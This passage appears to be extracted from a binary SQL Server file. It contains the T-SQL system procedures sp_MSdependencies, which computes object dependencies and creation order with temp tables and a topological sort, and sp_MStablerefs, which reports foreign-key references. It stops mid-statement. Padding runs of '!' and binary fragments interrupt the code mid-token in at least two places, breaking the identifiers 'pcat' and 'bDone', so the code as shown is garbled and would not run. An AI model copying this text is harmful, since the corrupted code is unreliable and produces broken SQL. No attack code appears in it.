!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<((
0)sv|@
create procedure sys.sp_MSdependencies
@objname nvarchar(517) = null, @objtype int = null, @flags int = 0x01fd, @objlist nvarchar(128) = null, @intrans int = null
as
    set deadlock_priority low
    
	create table #t1 (
		tid				int				NULL,
		ttype			smallint		NULL,
		tcat			smallint		NULL,
		pid				int				NULL,
		ptype			smallint		NULL,
		pcat			smallint		NULL,
		bDone			smallint		NULL
	)
	create table #t2 (
		tid				int				NULL,
		ttype			smallint		NULL,
		tcat			smallint		NULL,
		pid				int				NULL,
		ptype			smallint		NULL,
		pcat			smallint		NULL,
		bDone			smallint		NULL
	)

    create table #t21(
        pid             int             NULL,
        ptype           smallint        NULL,
        pcat            smallint        NULL,
        depid           int             NULL
    )


	create table #tempudt (
		dtype			int				NOT NULL
	)

	/* Worktables we'll use for optimization. */
	create table #t3 (
		tid				int				NOT NULL
	)
	create table #t4 (
		tid				int				NOT NULL
	)
	/* create clustered index #ci_t3 on #t3(tid) with allow_dup_row */
	/* create clustered index #ci_t4 on #t4(tid) with allow_dup_row */
	create clustered index #ci_t3 on #t3(tid)
	create clustered index #ci_t4 on #t4(tid)
	create table #temptrig(
		id				int				NOT NULL,
		deltrig			int				NOT NULL,
		sysstat			smallint		NOT NULL,
		category		int				NOT NULL
	)
	/* create clustered index #ci_temptrig on #temptrig (deltrig) with allow_dup_row */
	create clustered index #ci_temptrig on #temptrig (deltrig)

   /* 8.0 The new UDF is taking 0x0001, and we have to re-assign UDDT */
	if (@objname = N'?')
	begin
		print N'sp_MSobject_dependencies name = NULL, type = NULL, flags = 0x01fd'
		print N'  name:  name or null (all objects of type)'
		print N'  type:  type number (see below) or null'
		print N'	  if both null, get all objects in database'
		print N'  flags is a bitmask of the following values:'
		print N'	  0x10000  = return multiple parent/child rows per object'
		print N'	  0x20000  = descending return order'
		print N'	  0x40000  = return children instead of parents'
		print N'	  0x80000  = Include input object in output result set'
		print N'	  0x100000 = return only firstlevel (immediate) parents/children'
		print N'	  0x200000 = return only DRI dependencies'
		print N'	  power(2, object type number(s))  to return in results set:'
		print N'		  0 (1  	- 0x0001)	 - UDF'
		print N'		  1 (2  	- 0x0002)	 - system tables or MS-internal objects'
		print N'		  2 (4  	- 0x0004)	 - view'
		print N'		  3 (8  	- 0x0008)	 - user table'
		print N'		  4 (16		- 0x0010)	 - procedure'
		print N'		  5 (32		- 0x0020)	 - log'
		print N'		  6 (64 	- 0x0040)	 - default'
		print N'		  7 (128	- 0x0080)	 - rule'
		print N'		  8 (256	- 0x0100)	 - trigger'
		print N'		  12 (1024	- 0x0400) - uddt'
		print N'	  shortcuts:'
		print N'		  29	 (0x011c) - trig, view, user table, procedure'
		print N'		  448	(0x00c1) - rule, default, datatype'
		print N'		  4606 (0x11fd) - all but systables/objects'
		print N'		  4607 (0x11ff) - all'
		return 0
	end

	/* If this proc is called in a tight loop, it tends to fill up the log in a small tempdb too fast */
	/* for the trunc. log on chkpt thread to keep up.  So help it out here.                           */
   /* I can do this only if the current login has the proper permission to dump tempdb               */
   /* In order to find out this information, I need to switch to tempdb                              */
	declare @origdb nvarchar(128)
   declare @tempdbName nvarchar(258)
	select @origdb = db_name()
   SELECT @tempdbName = REPLACE(@origdb, N']', N']]')

	/* If they want SQLDMODep_DRIOnly, remove all but usertable objects from @flags */
	if (@flags & 0x200000 <> 0)
		select @flags = (@flags & ~convert(int, 0x05ff)) | power(2, 3)

	if (@objtype in (12, 5, 6, 7))
	begin
		/* Print only, do not raiserror as we may be calling this blindly and this is not a real error. */
		print N'Rules, defaults, and datatypes do not have dependencies.'
		return (0)
	end

	/*
	 * Create #t1 and #t2 as temp object holding areas.  Columns are:
	 *	 tid		- temp object id
	 *	 ttype	 - temp object type
	 *	 pid		- parent or child object id
	 *	 ptype	 - parent or child object type
	 *	 bDone	 - NULL means dependencies not yet evaluated, else nonNULL.
	 */
	declare @curid int, @curcat int, @rowsaffected int
	declare @allobjs int
	declare @delinputobj int
	select @allobjs = 0, @delinputobj = 0, @curid = NULL, @curcat = NULL

	/*
	 * If both name and type are null, this means get every object in the
	 * database matching the specification they passed in.  Otherwise,
	 * find the passed object or all objects of the passed type.  Start off
	 * loading parent info (pid, tid); these will be put into child as needed.
	 * If Objlist is specified we simply load its contents into #t1.
	 */
	if (@objlist is not null)
	begin
		declare @cmd nvarchar(1024)
		set @cmd = N'insert #t1 (pid, ptype, pcat) select l.objid, l.objtype, o.category &2'+
				N' from ' + QUOTENAME(@objlist, ']') + N' l, dbo.sysobjects o where o.id = l.objid '

		exec(@cmd)

	end else begin
		if (@objname is null and @objtype is null)
		begin
			set nocount on
			select @allobjs = 1
			insert #t1 (pid, ptype, pcat) select o.id, o.sysstat & 0x0f, o.category & 0x0002 from dbo.sysobjects o
				where ((power(2, o.sysstat & 0x0f) & 0x05ff) <> 0) and (OBJECTPROPERTY(o.id, N'IsDefaultCnst') <> 1 and OBJECTPROPERTY(o.id, N'IsRule') <> 1 )
		end else begin
			if (@objname is not null)
			begin
				select @curid = id, @objtype = o.sysstat & 0x0f, @curcat = o.category & 0x0002 from dbo.sysobjects o where id = object_id(@objname)
				if (@curid is null)
				begin
					RAISERROR (15001, -1, -1, @objname)
					return 1
				end
				if (@flags & 0x80000 = 0)
					select @delinputobj = @curid
			end

			set nocount on
			if (@curid is null)
				insert #t1 (pid, ptype, pcat) select o.id, o.sysstat & 0x0f, o.category & 0x0002 from dbo.sysobjects o
					where o.sysstat & 0x0f = @objtype
			else
				insert #t1 (pid, ptype, pcat) values (@curid, @objtype, @curcat)
		end
	end
	/*
	 * All initial objects are loaded as parents/children.  Now we loop, creating
	 * rows of child/parent relationships.  Use #t2 as a temp area for the selects
	 * to simulate recursion; when they find no rows, we're done with this step.
	 *
	 * Note that triggers are weird; they're part of a table definition but can
	 * also reference other tables, so we need to evaluate them both ways.  SQL
	 * Server stores the table for a trigger object as its deltrig; if a trigger
	 * references another table, that relationship is stored in sysdepends.
	 * This peculiarity of triggers requires separating the object-retrieval pass
	 * from the creation-sequence pass (below).  Also, the fact that trigger tables
	 * are stored in a non-indexed column (deltrig) requires us to use a worktable
	 * if we're returning triggers, so we don't continually tablescan sysobjects.
	 */

	if (@flags & power(2, 8) != 0)
		insert #temptrig select d.id, d.deltrig, d.sysstat, d.category from dbo.sysobjects d where OBJECTPROPERTY(d.id, N'IsTrigger') = 1

	while (select count(*) from #t1 where bDone is null) > 0
	begin
		/*
		 * Remove Microsoft-internal or other system objects from #t1, unless
		 * @flags specified including system tables.  We do this here so that
		 * cascaded system dependencies are not included unless specifically
		 * requested.  For other restrictions, we wait until below so that all
		 * cascaded object types are fully evaluated.
		 */
		if (@flags & power(2, 1) = 0)
			delete #t1 where ttype = 1 or tcat = 0x0002 or pcat = 0x0002

		if (@flags & 0x40000 != 0)
		begin
			if (@flags & 0x200000 = 0) begin
				/* Table --> Triggers */
				if (@flags & power(2, 8) != 0)
					insert #t2 (tid, ttype, tcat, pid, ptype, pca!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<()
0v|@t)
						select distinct t.pid, t.ptype, t.pcat, o.id, o.sysstat & 0x0f, o.category & 0x0002 from #t1 t, #temptrig o
							where t.bDone is null and t.ptype = 3 and o.deltrig = t.pid

				/* Object --> sysdepends children */
				insert #t2 (tid, ttype, tcat, pid, ptype, pcat)
					select distinct t.pid, t.ptype, t.pcat, d.id, o.sysstat & 0x0f, o.category & 0x0002
					from #t1 t, dbo.sysdepends d, dbo.sysobjects o
					where t.bDone is null and d.depid = t.pid and d.id = o.id
			end

			/* Object --> sysreferences children (FK tables referencing this one) */
			insert #t2 (tid, ttype, tcat, pid, ptype, pcat)
				select distinct t.pid, t.ptype, t.pcat, r.fkeyid, o.sysstat & 0x0f, o.category & 0x0002
				from #t1 t, dbo.sysreferences r, dbo.sysobjects o
				where t.bDone is null and r.rkeyid = t.pid and r.fkeyid = o.id
		end else begin
			if (@flags & 0x200000 = 0) begin
				/* Trigger --> Table */
				if (@flags & power(2, 3) != 0)
					insert #t2 (tid, ttype, tcat, pid, ptype, pcat)
						select distinct t.pid, t.ptype, t.pcat, o.deltrig, u.sysstat & 0x0f, u.category & 0x0002
							  from #t1 t, dbo.sysobjects o, dbo.sysobjects u
							where t.bDone is null and t.ptype = 8 and o.id = t.pid and o.deltrig != 0 and u.id = o.deltrig

				/* Object --> sysdepends parents */
                insert #t21 (pid, ptype, pcat, depid)
                    select distinct t.pid, t.ptype, t.pcat, d.depid
					from #t1 t, dbo.sysdepends d
					where t.bDone is null and d.id = t.pid

				insert #t2 (tid, ttype, tcat, pid, ptype, pcat)
					select distinct t.pid, t.ptype, t.pcat, t.depid, o.sysstat & 0x0f, o.category & 0x0002
					from #t21 t, dbo.sysobjects o
					where t.depid = o.id
			end
			/* Object --> sysreferences parents (PK/UQ tables referenced by one) */
			insert #t2 (tid, ttype, tcat, pid, ptype, pcat)
				select distinct t.pid, t.ptype, t.pcat, r.rkeyid, o.sysstat & 0x0f, o.category & 0x0002
				from #t1 t, dbo.sysreferences r, dbo.sysobjects o
				where t.bDone is null and r.fkeyid = t.pid and r.rkeyid = o.id
		end

		/*
		 * We have this generation of parents in #t2, so clear the current
		 * child generation's bDone flags.  Then insert from #t2; the current
		 * parent generation becomes the next loop's child generation, with
		 * bDone = null until next loop's dependencies are selected.
		 */
		update #t1 set bDone = 1
		insert #t1 select * from #t2 where #t2.tid not in
			(select tid from #t1 where #t1.tid = #t2.tid and #t1.pid = #t2.pid)
		truncate table #t2

		/* If they only want one level, we're done.	*/
		if (@flags & 0x100000 <> 0)
			update #t1 set bDone = 1
	end

	/*
	 * The inner loop above did not put parents with no parents into the
	 * child (tid) list.  Do that now, then remove all rows where tid is
	 * NULL, because these were initial objects which now have a tid row.
	 * Just in case, remove self-refs from #t1, and also remove rows from #t1
	 * with NULL pid if a row exists for that tid where the pid is nonNULL.
	 * Avoid nested self-joins by using worktables.
	 */
	truncate table #t3
	insert #t3 select tid from #t1 where tid is not null
		and tid <> pid				-- make sure self-refs with no other refs go in child list
	/* update statistics #t3 #ci_t3 */
	insert #t1 (tid, ttype, tcat, bDone) select distinct pid, ptype, pcat, 0 from #t1 t
		where t.pid is not null and not exists (select * from #t3 where tid = t.pid)
	delete #t1 where tid = pid		-- now remove self-refs

	/*
	 * Because triggers can go in both directions, we'll need to check for
	 * circular dependencies on parent evaluation.  Since any tables referenced
	 * by the trigger must exist before the trigger can be created, remove rows
	 * where the trigger is the parent.
	 */
	if (@flags & 0x40000 = 0)
		delete #t1 where ptype = 8

	truncate table #t3
	insert #t3 select tid from #t1 where tid is not null and pid is not null
	/* update statistics #t3 #ci_t3 */
	delete #t1 where #t1.tid is null or #t1.tid = #t1.pid
		or (#t1.pid is null and exists (select * from #t3 where tid = #t1.tid))

	/*
	 * If we're to get all objects, get all UDDTs (which aren't in dbo.sysobjects)
	 * and Rules/Defaults, assuming we're returning those types.
	 */
	if (@allobjs <> 0)
	begin
		if (@flags & power(2, 12) != 0)
			insert #tempudt
				select xusertype from dbo.systypes where xusertype > 256
		if (@flags & (power(2, 7) | power(2, 6)) != 0)
			insert #t2 (tid, ttype, tcat)
				select id, sysstat & 0x0f, 0 from dbo.sysobjects
				where (OBJECTPROPERTY(id, N'IsRule') = 1 or OBJECTPROPERTY(id, N'IsDefault') = 1)
				and category & 0x0800 = 0
	end else begin
		/*
		 * Not getting all objects.  Get any datatypes that
		 * are referenced by objects in #t1.  We don't care about specific
		 * datatype dependencies, we just want to know which ones are needed.
		 */
		if (@flags & power(2, 12) != 0)
			insert #tempudt select distinct xusertype from dbo.syscolumns
				where xusertype > 256 and id in (select tid from #t1)

		/*
		 * Load rules and defaults needed by datatypes and other #t1 objects
		 * into #t2.  Don't track specific object dependencies with these;
		 * we just want to know which ones are needed.  For defaults only, eliminate
		 * those which are constraints.
		 */
		if (@flags & power(2, 7) != 0)
		begin
			insert #t2 (tid, ttype, tcat)
				select distinct s.domain, 7, 0 from dbo.systypes s, #tempudt t
					where s.domain != 0 and s.xusertype = t.dtype
						and s.domain not in (select tid from #t1)
			insert #t2 (tid, ttype, tcat)
				select distinct s.domain, 7, 0 from dbo.syscolumns s, #t1 t
					where s.domain != 0 and s.id = t.tid
						and s.domain not in (select tid from #t1)
		end
		if (@flags & power(2, 6) != 0)
		begin
			insert #t2 (tid, ttype, tcat)
				select distinct s.tdefault, 6, 0 from dbo.systypes s, #tempudt t
					where s.tdefault != 0 and s.xusertype = t.dtype
						and s.tdefault not in (select tid from #t1)
						and s.tdefault not in (select id from dbo.sysobjects where category & 0x0800 != 0)
			insert #t2 (tid, ttype, tcat)
				select distinct s.cdefault, 6, 0 from dbo.syscolumns s, #t1 t
					where s.cdefault != 0 and s.id = t.tid
						and s.cdefault not in (select tid from #t1)
						and s.cdefault not in (select id from dbo.sysobjects where category & 0x0800 != 0)
		end
	end		/* Not getting all objects */

	/*
	 * Now that we've got all objects we want, eliminate those we don't
	 * want to return.  If @inputobj and they don't want it returned,
	 * remove it from the table.  Then eliminate object types they don't
	 * want returned.  Make sure that in doing so we retain all parent
	 * objects of the types we do want -- it is possible at this point
	 * that a tid we want has no rows except those with pids we don't want.
	 */
	if (@flags & 0x05ff != 0x05ff or @delinputobj != 0)
	begin
		delete #t1 where @flags & power(2, ttype) = 0 or tid = @delinputobj

		/*
		 * Be sure that the insert does not duplicate rows that will survive the
		 * following delete -- these are rows where the pid is not @delinputobj
		 * and ptype is either null or a type we'll keep (if ptype is null then
		 * pid hasn't been set so no need for more complex checking).
		 */
		insert #t1 (tid, ttype, tcat) select distinct tid, ttype, tcat from #t1
			where (@flags & power(2, ptype) = 0 or pid = @delinputobj)
				and tid not in (select tid from #t1 where ptype is null or
					(pid != @delinputobj and @flags & power(2, ptype) != 0))
		delete #t1 where @flags & power(2, ptype) = 0 or pid = @delinputobj
	end

	/*
	 * To determine creation order, find all objects which are not yet bDone
	 * and have no parents or whose parents are all bDone, and set their bDone
	 * to the next @curid.  This will leave bDone as the ascending order in
	 * which objects must be created (topological sort).  Again, use worktables
	 * to remove nested self-joins.
	 */
	update #t1 set!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<j*
04|@ bDone = 0
	select @curid = 1, @rowsaffected = 1
	while (@rowsaffected <> 0)
	begin
		if (@flags & 0x40000 != 0) begin
			truncate table #t3
			insert #t3 select pid from #t1 where pid is not null and bDone = 0
			/* update statistics #t3 #ci_t3 */
			update #t1 set bDone = @curid where bDone = 0 and tid not in (select tid from #t3)
		end else begin
			truncate table #t3
			truncate table #t4
			insert #t3 select tid from #t1 where bDone = 0				/* Parents not yet done */
			/* update statistics #t3 #ci_t3 */
			insert #t4 select tid from #t1								/* TIDs with (parents not yet done) */
				where pid is not null and pid in (select tid from #t3)
			/* update statistics #t4 #ci_t4 */
			update #t1 set #t1.bDone = @curid where #t1.bDone = 0 		/* TIDs who are not (TIDs with (parents not yet done)) */
				and not exists (select * from #t4 where tid = #t1.tid)
		end
		select @rowsaffected = @@rowcount, @curid = @curid + 1
	end

	/* For SQL60 only, we need to check circular dependencies (DRI for tables is the only way to get them). */
	/* This will have occurred if we still have any rows in #t1 where bDone = 0, after the above loop. */
	/*
	 * At this point, these are indirect (a->b->...->a), and can only be created by:
	 * 	create table a; create table b ref a; alter table a ref b
	 * There is thus no way to create the tables in a single pass.  Further, the ALTER
	 * TABLE B must be done AFTER data has been added (else the PK/FK will fail).
	 * Therefore, the two-step model of
	 *  - Create tables (and other objects)
	 *  - Transfer data
	 * does not work, so assume anyone doing this will do it in three passes (e.g. ScriptTransfer):
	 *  - Create tables (and other objects) but no references (also defer some indexing, for perfomance)
	 *  - Transfer data
	 *  - Create references (and deferred indexing)
	 * and just set bDone for everything remaining to @curid.
	 */
	if exists (select * from #t1 where bDone = 0) begin
		--select "Circular Dependencies", object_name(tid) from #t1 where bDone = 0
		--RAISERROR (14300, -1, -1)
		--return 1
		update #t1 set bDone = @curid where bDone = 0
	end

	/*
	 * Finally, return the objects.  Rules/Defaults must be created first so they're returned first,
	 * followed by UDDTs. followed by all other (sysdepends/DRI) dependencies.  @curid is the bDone
	 * value; we need to increment the #t1 value so our multi-result-set is in the proper sequence.
	 * Of course, these never have parents, so don't return them if asking for children.
	 */
	if (@flags & 0x40000 = 0) begin
		select @curid = 1
		if ((@flags & (power(2, 7) | power(2, 6)) != 0) and exists (select * from #t2)) begin
			update #t1 set bDone = bDone + 1
			select distinct oType = power(2, o.sysstat & 0x0f), oRuleDefName = o.name, oOwner = schema_name(syso.schema_id), oSequence = convert(smallint, @curid)
				from dbo.sysobjects o, #t2 t, sys.all_objects syso
				where o.id = t.tid and o.id = syso.object_id
				order by power(2, o.sysstat & 0x0f), o.name
			select @curid = @curid + 1
		end
		if ((@flags & power(2, 12) != 0) and exists (select * from #tempudt)) begin
			update #t1 set bDone = bDone + 1
			select distinct oType = power(2, 12), oUDDTName = c.name, oOwner = schema_name(syst.schema_id), oSequence = convert(smallint, @curid)
				from dbo.systypes c, #tempudt t, dbo.sysobjects p, sys.types syst
				where c.xusertype = t.dtype and c.xusertype = syst.user_type_id
				order by c.name
			select @curid = @curid + 1
		end
	end

	/*
	 * Select dependency-style objects, returning parents if desired.
	 * Normally sorting is in terms of who must be created first, i.e. ascending:  parent-->child-->grandchild.
	 * Descending order (child-->parent-->grandparent) would be used for a graphical-dependencies evaluator showing
	 * the parents.  Therefore we invert bDone if descending sort.  bDone is 1-based; min + max - bDone gives inversion.
	 * Note:  Always return at least this empty set.
	 */
	if (@flags & 0x20000 != 0) begin
		select @curid = max(bDone) + min(bDone) from #t1
		update #t1 set bDone = convert(smallint, @curid) - bDone
	end
	if (@flags & 0x10000 != 0)
		select distinct oType = power(2, o.sysstat & 0x0f), oObjName = o.name, oOwner = schema_name(sysoo.schema_id),
/*				RelType = power(2, p.sysstat & OBJTYPE_BITS), RelName = p.name, RelOwner = user_name(p.uid), */
				RelType = case when (p.name is not null) then power(2, p.sysstat & 0x0f) else 0 end, RelName = p.name, RelOwner = schema_name(sysop.schema_id),
				oSequence = t.bDone
			from dbo.sysobjects o, dbo.sysobjects p right join #t1 t on p.id = t.pid, sys.all_objects sysoo, sys.all_objects sysop 
			where o.id = t.tid and o.id = sysoo.object_id and p.id = sysop.object_id
			order by t.bDone, power(2, o.sysstat & 0x0f), o.name
	else
		select distinct oType = power(2, o.sysstat & 0x0f), oObjName = o.name, oOwner = schema_name(syso.schema_id),
				oSequence = t.bDone
			from dbo.sysobjects o, sys.all_objects syso, #t1 t
			where o.id = t.tid and o.id = syso.object_id
			order by t.bDone, power(2, o.sysstat & 0x0f), o.name

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(+
p0 v
create procedure sys.sp_MStablerefs
	@tablename nvarchar(517),					
	@type nvarchar(20) = N'actualtables',		
	@direction nvarchar(20) = N'primary',		
	@reftable nvarchar(517) = null,			
   @flags int = 0
as
   /* tablename: table whose references are being evaluated */
   /* type     : '[actual | all][tables | keys | keycols]'; all candidates, or only those actually referenced */
   /* direction: look for references from @tablename to 'primary' table(s), or to @tablename from 'foreign' table(s) */
   /* reftable : limit scope to this table, if non-null */
   /*** @flags added for DaVinci uses.  If the bit isn't set, use 6.5 ***/
   /*** sp_MStablerefs '%s', null, 'both'                             ***/

	create table #sprefs (
		id					int				NOT NULL, 	/* id of reftable */
		constid				int				NULL, 		/* id of key */
		referenced			bit				NOT NULL	/* well, is it? */
	)

	/* @flags is for daVinci */
	if (@flags is null)
		select @flags = 0

	if (@tablename = N'?') begin
		PRINT N''
		PRINT N'sp_MStablerefs:'
		PRINT N'@tablename nvarchar(257),					/* table whose references are being evaluated */'
		PRINT N'@type nvarchar(20) = [actualtables],		/* [[actual | all][tables | keys | keycols]]; all candidates, or only those actually referenced */'
		PRINT N'@direction nvarchar(20) = [primary],		/* look for references from @tablename to [primary] or to @tablename from [foreign], or [both] */'
		PRINT N'@reftable nvarchar(257) = null				/* limit scope to this table, if non-null */'
		return 0
	end

	if (lower(@direction) = N'both') begin
		select
         N'PK_Table' = PKT.name,
         N'FK_Table' = FKT.name,
         N'Constraint' = object_name(r.constid),
			c.status,
			cKeyCol1 = convert(nvarchar(132), col_name(r.fkeyid, r.fkey1)),
			cKeyCol2 = convert(nvarchar(132), col_name(r.fkeyid, r.fkey2)),
			cKeyCol3 = convert(nvarchar(132), col_name(r.fkeyid, r.fkey3)),
			cKeyCol4 = convert(nvarchar(132), col_name(r.fkeyid, r.fkey4)),
			cKeyCol5 = convert(nvarchar(132), col_name(r.fkeyid, r.fkey5)),
			cKeyCol6 = convert(nvarchar(132), col_name(r.fkeyid, r.fkey6)),
			cKeyCol7 = convert(nvarchar(132), col_name(r.fkeyid, r.fkey7)),
			cKeyCol8 = convert(nvarchar(132), col_name(r.fkeyid, r.fkey8)),
			cKeyCol9 = convert(nvarchar(132), col_name(r.fkeyid, r.fkey9)),
			cKeyCol10 = convert(nvarchar(132), col_name(r.fkeyid, r.fkey10)),
			cKeyCol11 = convert(nvarchar(132), col_name(r.fkeyid, r.fkey11)),
			cKeyCol12 = convert(nvarchar(132), col_name(r.fkeyid, r.fkey12)),
			cKeyCol13 = convert(nvarchar(132), col_name(r.fkeyid, r.fkey13)),
			cKeyCol14 = convert(nvarchar(132), col_name(r.fkeyid, r.fkey14)),
			cKeyCol15 = convert(nvarchar(132), col_name(r.fkeyid, r.fkey15)),
			cKeyCol16 = convert(nvarchar(132), col_name(r.fkeyid, r.fkey16)),
			cRefCol1 = convert(nvarchar(132), col_name(r.rkeyid, r.rkey1)),
			cRefCol2 = convert(nvarchar(132), col_name(r.rkeyid, r.rkey2)),	
			cRefCol3 = convert(nvarchar(132), col_name(r.rkeyid, r.rkey3)),
			cRefCol4 = convert(nvarchar(132), col_name(r.rkeyid, r.rkey4)),
			cRefCol5 = convert(nvarchar(132), col_name(r.rkeyid, r.rkey5)),
			cRefCol6 = convert(nvarchar(132), col_name(r.rkeyid, r.rkey6)),
			cRefCol7 = convert(nvarchar(132), col_name(r.rkeyid, r.rkey7)),
			cRefCol8 = convert(nvarchar(132), col_name(r.rkeyid, r.rkey8)),
			cRefCol9 = convert(nvarchar(132), col_name(r.rkeyid, r.rkey9)),
			cRefCol10 = convert(nvarchar(132), col_name(r.rkeyid, r.rkey10)),
			cRefCol11 = convert(nvarchar(132), col_name(r.rkeyid, r.rkey11)),
			cRefCol12 = convert(nvarchar(132), col_name(r.rkeyid, r.rkey12)),
			cRefCol13 = convert(nvarchar(132), col_name(r.rkeyid, r.rkey13)),
			cRefCol14 = convert(nvarchar(132), col_name(r.rkeyid, r.rkey14)),
			cRefCol15 = convert(nvarchar(132), col_name(r.rkeyid, r.rkey15)),
			cRefCol16 = convert(nvarchar(132), col_name(r.rkeyid, r.rkey16)),
			N'PK_Table_Owner' = schema_name(sysoPKT.schema_id),
			N'FK_Table_Owner' = schema_name(sysoFKT.schema_id),
         N'DeleteCascade' = OBJECTPROPERTY( r.constid, N'CnstIsDeleteCascade'),
         N'UpdateCascade' = OBJECTPROPERTY( r.constid, N'CnstIsUpdateCascade')
      from dbo.sysreferences r, dbo.sysconstraints c, dbo.sysobjects PKT, sys.all_objects sysoPKT, dbo.sysobjects FKT, sys.all_objects sysoFKT
      where r.constid = c.constid and (@tablename is null or
         (r.rkeyid = object_id(@tablename) or r.fkeyid = object_id(@tablename))) and PKT.id = sysoPKT.object_id and FKT.id = sysoFKT.object_id 
      and PKT.id = r.rkeyid and FKT.id = r.fkeyid
      return 0
	end /* @direction = 'both' */

	declare @id int, @refid int
	select @id = object_id(@tablename), @refid = object_id(@reftable)
	if (@tablename is not null and @id is null) begin
		RAISERROR (15001, -1, -1, @tablename)
		return 1
	end
	if (@reftable is not null and @refid is null) begin
		RAISERROR (15001, -1, -1, @reftable)
		return 1
	end

	declare @dotables bit, @doall bit, @doprimary bit, @docols bit
	select 	@dotables = case when (@type like N'allt%' or @type like N'actualt%') then 1 else 0 end,
			@doall = case when (@type like N'all%') then 1 else 0 end,
			@doprimary = case when (@direction like N'p%') then 1 else 0 end,
			@docols = case when (@type like N'%keycol%') then 1 else 0 end

	/* If a specific @tablename specified, see if it has the kind of keys we want. */
	/* If asking for references from @tablename to 'primary', we must have an FKEY; */
	/* if asking for references to @tablename from 'foreign', we must have an active REFerence. */
	if (@id is not null) begin
		declare @wantkeytype varchar(32)
		select @wantkeytype = case @doprimary when 1 then 'TableHasForeignKey' else 'TableHasForeignRef' end
		if not exists (select * from dbo.sysobjects where id = @id and objectproperty(id, @wantkeytype) <> 0)
			goto ReturnSet
	end

	if (@dotables = 1) begin
		if (@doprimary = 1) begin
			/* Get all candidate tables (those with Primary/Unique keys in sysconstraints). */
			insert #sprefs
				select distinct id, null, 0 from dbo.sysconstraints where status & 0x0f in (1, 2)

			/* Update the referenced bit if this table references it. */
			update #sprefs set referenced = 1
				where id in (select rkeyid from dbo.sysreferences where fkeyid = @id)
		end else begin
			/* All user tables are foreign-key candidate tables. */
			insert #sprefs
				select distinct id, null, 0 from dbo.sysobjects where OBJECTPROPERTY(id, N'IsUserTable') = 1

			/* Update the referenced bit if it references this table. */
			update #sprefs set referenced = 1
				where id in (select fkeyid from dbo.sysreferences where rkeyid = @id)
		end	/* direction */

	end else begin	/* keys */
		if (@doprimary = 1) begin
			/* Get all candidate tables (those with Primary/Unique keys in sysconstraints) and the keys. */
			insert #sprefs
				select distinct id, constid, 0 from dbo.sysconstraints where status & 0x0f in (1, 2)

			/* Follow r.rkeyindid back to sysindexes to get the name and then 'rconstid' to see if this table references it. */
         update #sprefs set referenced = 1 from #sprefs s, dbo.sysreferences r, dbo.sysindexes i
            where r.fkeyid = @id
            and i.id = r.rkeyid and i.indid = r.rkeyindid and i.status & 0x1800 <> 0
            and s.constid = object_id(N'[' + REPLACE(i.name, N']', N']]') + N']')

		end else begin
			/* First add tables with FOREIGN keys defined. */
			insert #sprefs
